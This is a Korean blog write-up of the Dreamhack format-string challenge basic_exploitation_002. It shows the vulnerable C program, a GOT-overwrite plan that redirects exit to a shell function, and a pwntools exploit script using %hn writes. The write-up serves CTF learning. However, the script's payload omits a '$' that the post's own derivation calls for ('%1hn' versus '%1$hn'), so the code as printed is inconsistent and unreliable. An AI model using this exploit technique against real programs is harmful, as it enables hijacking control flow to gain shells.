[Dreamhack] Format String Bug: 2 - basic_exploitation_002

securitykss·2023년 1월 19일
0

Pwnable 강의(dreamhack)

목록 보기
27/58

1. Description

2. Check

2.1 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
	puts("TIME OUT");
    exit(-1);
}

void initialize() {
	setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
	system("/bin/sh");
}

int main(int argc, char *agrv[]) {
	char buf[0x80];
    
    initialize();
    
    read(0, buf, 0x80);
    printf(buf);
    
    exit(0);
}

code description

void alarm_handler()

알람 역할을 하는 함수

void initialize()

입,출력 버퍼를 비우고, alarm을 호출해 30초 설정

get_shell()

shell을 실행시키는 함수

main()

buf를 0x80만큼 입력 받고,

printf(buf)로 출력. -> 하지만 형식 지정자가 안 정해져 있어 FSB에 취약하다.

exit(0) 함수로 프로그램 종료

2.2 file

32bit elf

2.3 checksec

Partial RELRO에

got 활용 가능

canary 도 없다.

bof를 쉽게 할 수 있음.

PIE 설정도 안 되어 있다.

코드 영역 ASLR 적용x

3. Design

exit의 got를 get_shell 함수의 주소로 설정하면 shell 획득 가능

got는 Partial RELRO가 걸려있어 활용 가능하고,

got에 쓰기 권한이 있으므로, %n을 활용해서 get_shell 함수의 주소로 GOT Overwrite를 하면 된다.

이렇게 되면 exit(0)를 실행할 때, get_shell 함수로 프로그램 흐름이 넘어가 shell을 실행한다.

4. Exploit

4.1 인자 순서

입력값과, %p를 통해서 buf가 몇번째 인자인지 알아야한다.

즉, 몇번째 인자부터 스택을 사용하는지 알아야한다.

첫번째 %p에서 buf에 AAAA를 바로 받는다.

4.2 get_shell 주소

get_shell 주소 획득

4.3 exit@got 주소

plt에서

jmp DWORD PTR ds:0x804a024

이것을 통해 0x804a024 이 주소가 exit@got를 알 수 있다.

4.4 정리

1. 입력할 때, 첫 번째 인자부터 buf이다.

2. get_shell 주소 0x8048609

3. exit@got 주소 0x804a024

입력값을 exit@got 주소를 넣는다. 그러면 buf에 exit@got 주소가 담겨져 있다.

그리고 buf가 첫번째 인자이므로, get_shell의 주소를 10진수로 바꿔 %c와 %n을 활용해 넣는다.

그렇게 되면 buf -> exit@got -> get_shell 이 된다.

하지만 0x8048609는 10진수로 134,514,185 으로 큰 숫자이다.

그래서 %hn을 사용해 2bytes씩 끊어서 넣어서 exploit code를 작성할 것이다.

0x804는 2052, 0x8609는 34313 이다.

하지만 앞에 (exit@got+2)와 (exit)을 써서 8bytes를 사용한 상태이다.

그래서 2052 - 8 = 2044, (exit@got+2)에 "%2044c%1$hn"을 쓰고,

또, 34313 - 2052 = 32261, (exit@got)에 "%32261c%2$hn"을 쓴다.

이렇게 (exit@got+2)에 0x804, (exit@got)에 0x8609를 다 넣었다.

거꾸로 넣는 이유는 little endian이기 때문이다.

4.5 exploit code

from pwn import *

p = process("./basic_exploitation_002")
#p = remote("서버", 포트)

exit_got = 0x804a024

payload = p32(exit_got+2) + p32(exit_got) + b"%2044c%1hn" + b"%32261c%2$hn"
p.send(payload)

p.interactive()

4.6 exploit result

성공적으로 shell 획득한 모습이다.

마치며

이렇게 FSB를 활용해서 문제를 풀어봤다.

Reference

https://dreamhack.io/wargame/challenges/4/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글